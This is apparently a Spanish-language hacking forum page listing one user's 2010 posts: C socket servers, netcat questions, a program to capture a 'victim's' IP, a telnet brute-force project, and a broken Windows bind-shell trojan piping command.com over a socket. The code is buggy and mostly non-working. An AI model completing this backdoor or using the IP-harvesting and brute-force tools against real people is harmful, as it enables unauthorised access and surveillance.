|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5 6
|
32
|
Programación / Programación C/C++ / [C] SmallServ!!! Disfrutadlo y opnidad!!!
|
en: 22 Noviembre 2010, 19:48 pm
|
#include <sys/socket.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <time.h> int socketfd, newsocket; char *filename; void shutup (int signal) { times (); printf ("Shutting down...\n\n"); close (newsocket); close (socketfd); } int times () { struct tm *ahora; char buffer [40]; strftime (buffer , 40, "%d/%m/%Y %H:%M:%S" , ahora ); return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; strftime (hora , 40, "%d/%m/%Y %H:%M:%S" , ahora ); printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora ); if (getuid()!=0) { printf ("This proccess must be run by root.\n\n"); return 1; } if (argc<3) { printf ("Use: %s <PORT> <LOG> [MODE]\nMode:\t\t0) Fork the proccess to background [DEFAULT].\n\t\t1) Run in the terminal.\n\n", argv [0]); return 1; } int cont; struct sockaddr_in client, host; char buffer [1024]; int size=sizeof (client); filename = argv [2]; socketfd=socket (2, 1 , 0); host.sin_family=AF_INET; host. sin_port=htons (atoi (argv [1])); host.sin_addr.s_addr=0; bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (socketfd, 3); times (); if (argv [3] != NULL && atoi (argv [3]) == 1) printf ("\nStarting up...\n\n"); signal (SIGTERM, shutup); signal (SIGINT, shutup); if (argv [3] == NULL || atoi (argv [3]) == 0) daemon (1, 0); while (1) { newsocket=accept (socketfd, (struct sockaddr*)&client, &size); times (); printf ("Got connection from %s:%d\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); cont=recv (newsocket, &buffer, 1024, 0); while (cont>2) { times (); buffer [cont-1]='\0'; printf ("RECV %d bytes: %s ", cont -2, buffer ); fprintf (log, "RECV %d bytes: %s\n", cont -2, buffer ); cont=recv (newsocket, &buffer, 1024, 0); } times (); printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port)); close (newsocket); } close (socketfd); return 0; }
Si alguien cree que algo se puede mejorar, que postee xD
|
|
|
33
|
Programación / Programación C/C++ / [C] [?] ¿¿¿ Por que no me funciona la conex en una red dentro ???
|
en: 20 Noviembre 2010, 19:39 pm
|
Buenas, he desarrollado un programa que se conecta a X ip y escribe datos. El caso es que al poner el NC a la escucha se conectan pero no reciben datos... while (cont!=0) { fgets (buffer , 1024, stdin ); cont =send (newsock , &buffer , strlen (buffer ), 0); }
NC: nc -vlp 31337 Compilen y pongan uno a correr y el otro a la escucha en el mismo PC.... Se conectan y se desconectan sin decir nada.... Tambien pueden probar a meter un send y quitar todo el while, y el NC tampoco lo recibe. Tiene que ser un fallo en la conex... donde??? Me pueden ayudar??? EDITO: Ya va correctamente jaja. El problema estaba en que mandaba los datos a newsock, que no estaba conectado.... while (cont!=0) { fgets (buffer , 1024, stdin ); cont =send (sockfd , &buffer , strlen (buffer ), 0); }
|
|
|
34
|
Sistemas Operativos / GNU/Linux / ¿¿¿ Small Linux Version Reducida ???
|
en: 20 Noviembre 2010, 18:42 pm
|
Buenas, estoy buscando un sistema operativo Linux sin X, y con los comandos basicos. Solo con lo minimo, y sin interfaz grafica. Evidentemente de poco peso. Conocen alguna distribucion o descarga parecida a lo que busco???
Por favor respondan lo antes posible... Muchas gracias de adelantado.
|
|
|
35
|
Programación / Programación C/C++ / !!! Help Linea de comandos diferentes opciones !!!
|
en: 20 Noviembre 2010, 13:30 pm
|
Buenas, me ha surgido una duda bien sencilla, pero que no se resolver. Quiero decir: Como hago para que mi programa haga diferentes cosas segun la linea de comandos. No me refiero al tipico argv [], sino a hacer un programa como un mini-NC en el que tu le indiques si quieres conectar, abrir puertos, etc. La magia de este programa es la gran cantidad de opciones que da, fruto de un gran trabajo sin duda. Lo que quiero decir que el programa sepa identificar: kc -l -p 31337 como kc -v 192.168.1.1 -p 80 como kc 192.168.1.1 -d como infinitas posibilidades mas.
Si se dan cuenta estan en distintas posibilidades, el problema es que son infinitas... Leyendo el code de NC te das cuenta de que todo esta organizado con flags y switches, pero como puedo hacerlo + sencillamente???
Si no me entienden pregunten, pues tengo mucho interes.... Gracias
|
|
|
36
|
Comunicaciones / Redes / Optencion de IP privada por mi programa
|
en: 18 Noviembre 2010, 21:08 pm
|
Buenas, desarrolle un programa que recogia la Ip del que se conectase a mi ordenador en el puerto 80. El caso es que no me di cuenta que tengo un router ADSL que me hace mi Ip privada, y si la intento rastrear para decirsela a mi victima me dice la de mi router. Como hago que mi ip sea publica? Otro metodo seria Hotmail, pero me interesa eso porque la peticion del navegador incluye info. importante como versiones, etc... xD
La cosa seria hacer mi Ip privada. De redes fuera de programacion no tengo muxa idea, a ver si me pueden ayudar xD... Posteare el programa el 1 de dic. pues voy a modif. para el concurso de programacion xD pero solo guarda la peticion del navegador y algo mas. Lo voy a hacer un mini-server xD...
Gracias de adelantado!
|
|
|
37
|
Programación / Programación C/C++ / Duda IP !!!
|
en: 13 Noviembre 2010, 11:36 am
|
Buenas, escribo este post para preguntar lo siguiente: ¿Como puedo sacar una IP de un sistema, cuando tengo un router (conex. privada)? Para obtener la IP, lo que hice fue un sencillo programa, abajo posteado, que me dijese la IP y el puerto de quien se conectase a mi ordenador. El programa espera una conex. en determinado puerto, y si alguien se conecta, consigo su IP. El caso es que mis pruebas no funcionan debido a que al iniciar el programa resulta que al obtener una conex. que yo abro desde Firefox me dice la IP de mi ordenador, privada: 192.168.... Lo cual no sirve. Estoy programando en C, Linux, ADSL Alguna idea en el codigo, u forma? #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int sockfd, newsock; int finalizar (int state) { close (sockfd); close (newsock); } int main () { printf ("#***************************************#\n"); printf ("# -[ GetIP - by Sagrini ]- #\n"); printf ("# ----------------------------------- #\n"); printf ("# Hacking programming #\n"); printf ("#***************************************#\n\n\n"); struct sockaddr_in host, client; int a=sizeof (struct sockaddr); char pass [30]; printf("[+] Creando el Socket..."); if ((sockfd =socket (2, 1, 0))!=-1) printf ("[OK]\n"); else {printf("[FAIL]\n"); finalizar (1);} host.sin_port=htons(31337); host.sin_family=AF_INET; host.sin_addr.s_addr=0; if(bind (sockfd ,(struct sockaddr *)&host ,sizeof(host ))==-1) {printf("\t[FAIL]\n"); finalizar (1);} if(listen (sockfd ,5)==-1) {printf("\t[FAIL]\n");finalizar (1);} printf("[+] Esperando cliente..."); if((newsock =accept (sockfd , (struct sockaddr *)&client , &a ))==-1) {printf("[FAIL]\n");finalizar (1);} printf("[+] Conexion establecida con %s:%d\n", inet_ntoa (client. sin_addr), ntohs (client. sin_port));; finalizar (0); }
Gracias
|
|
|
38
|
Programación / Programación C/C++ / [C] University Post
|
en: 5 Octubre 2010, 20:09 pm
|
Buenas, soy Sagrini, un "cliente" habitual de este foro. Me he dado cuenta de que (aún) no existe ningún post que recoja los diferentes post de "tareas de universidad". Me explico: En este foro hay mucha gente que aún no está en la universidad, y le quedan varios años (como yo xD ya tengo 11). Por lo que propongo ir recogiendo aqui post de tareas (OBLIGATORIAMENTE PASADA LA FECHA DE ENTREGA DE ESTAS), que recogan problemas de todo tipo de programación en la universidad. Estos se pueden ir colgando en diferentes hilos de este post. Así ayudarán a algunos que no somos tan afortunados de estar en la universidad xD... En resumen: Cada uno cuelga algunas tareas o preguntas que se den en clase, y así todos podemos pensar en ellas. Aviso que está prohibido hacer tareas, por lo que la pregunta debe ir acompañanda de su respuesta propia y de la fecha de entrega final. Espero su colaboración, y les propongo un pequeño code para hacer raices cuadradas perfectas del 1 al 1000 (nos amenazaron con ponernoslas de deberes, y las hice por computer xD). http://www.scribd.com/doc/38770692/sqrtEspero su colaboracion y opinion Saludos
|
|
|
39
|
Programación / Programación C/C++ / Projecto EvilBruteforce
|
en: 14 Septiembre 2010, 18:33 pm
|
Buenas, estoy trabajando en un bruteforce de Telnet, llamado Evil Bruteforce. El caso es que para hacerlo primero hice un server telnet, solo que en el port 31337, pues es una prueba. Sin embargo, tengo dos problemillas con el server: 1. Presentación: Este, aunque es un fallo sin importancia, me mosquea. Despues del listening, deberia aparecer un letrerito " - Esperando cliente...", pero no sale hasta que alguien se conecta. El segundo fallo tiene mas importancia, pero me gustaria saber pork no va...
2. Fallos continuos: Si compilan mi server, este va la primera vez. Solo hay que meter la contraseña para que el bruteforce sea sencillo, pero luego lo perfeccionare xD. Sin embargo, al correr la segunda vez, suelta un fallo en Binding. Estos fallos se producen porque no se tienen privilegios para hacer el binding (puertos bajos), o que el port esta usado. Si el port esta usado es porque: o no cerre bien el port cuando acabe el primer programa, o otro programa lo esta usando (el primero no se ha cerrado y sigue operativo). Para resolver estas dos cuestiones cree una funcion de acabado de programa, y quite el bucle for () infinito. Aun asi, no va. Alguien me puede ayudar??? #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int sockfd, newsock; int finalizar (int state) { close (sockfd); close (newsock); } int main () { printf ("#*************************************#\n"); printf ("# -[ EvilBruteforce.0 - by Sagrini ]- #\n"); printf ("# --------------------------------- #\n"); printf ("# Telnet Bruteforce #\n"); printf ("#*************************************#\n\n\n"); struct sockaddr_in host, client; int a=sizeof (struct sockaddr); char pass [30]; printf("[+] Creando el Socket..."); if ((sockfd=socket (2, 1, 0))!=-1) else { finalizar (1); } host.sin_port=htons(31337); host.sin_family=AF_INET; host.sin_addr.s_addr=0; if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1) { finalizar (1); } if(listen(sockfd,5)==-1) { finalizar (1); } else printf("[+] Esperando cliente..."); if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1) { finalizar (1); } else printf("[+] Conexion establecida.\n"); send (newsock, "Password: ", 11, 0); recv (newsock, &pass, 30, 0); if (strcmp (pass , "strike\n")==1) { printf (" ==> Access granted\n\n"); send (newsock, " ==> Access granted.\n\n", 23, 0); } else { printf (" ==> Access denied.\n\n"); send (newsock, " ==> Access denied.\n\n", 22, 0); } finalizar (0); }
Evidentemente, este code es bastante simple, pero no funciona como deberia. Pueden ayudarme? Saludos y muchas gracias.
|
|
|
40
|
Programación / Programación C/C++ / [C] Code troyano conexion directa
|
en: 8 Septiembre 2010, 13:00 pm
|
Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes (" http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona.... Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar... Si alguno quiere ver el codigo de las pipe que no va... #include <stdio.h> #include <stdlib.h> #include <winsock.h> HANDLE Out, In, Err; HANDLE hThread[3]; DWORD IDThread[3]; STARTUPINFO Stup; SOCKET newsock; SOCKET sockfd; DWORD WINAPI Lectura(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(Out, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } DWORD WINAPI Escritura(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(In, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } DWORD WINAPI LecturaError(LPVOID lpvThreadParm) { char buffer; unsigned long BytesRead; int n; while(1) { ReadFile(Err, &buffer, 1, &BytesRead, NULL); n= send(sockfd, &buffer, 1, 0); } return 0; } int ShellCode () { CreatePipe (&Out, &Out, NULL, 0); CreatePipe (&In, &In, NULL, 0); CreatePipe (&Err, &Err, NULL, 0); Stup.cb=sizeof (Stup); Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; Stup.wShowWindow = 0; Stup.hStdOutput = Out; Stup.hStdError = Err; Stup.hStdInput = In; CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL); hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]); hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]); hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]); WaitForMultipleObjects( 3, hThread, TRUE, INFINITE); CloseHandle(hThread[0]); CloseHandle(hThread[1]); CloseHandle(hThread[2]); } int main () { WSADATA wsaData; WSAStartup(MAKEWORD(2, 0), &wsaData); struct sockaddr_in host, client; int a=sizeof (struct sockaddr); sockfd=socket (2, 1, 0); host.sin_family=AF_INET; host.sin_addr.s_addr=0; host.sin_port=htons (31337); bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (sockfd, 1); while (1) { newsock=accept (sockfd, (struct sockaddr*)&client, &a); ShellCode (); closesocket (newsock); } closesocket (sockfd); return 0; }
Producto de el vinculo de antes. No funciona correctamente. Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible. Muchas gracias a todos.
|
|
|
|
|
|
|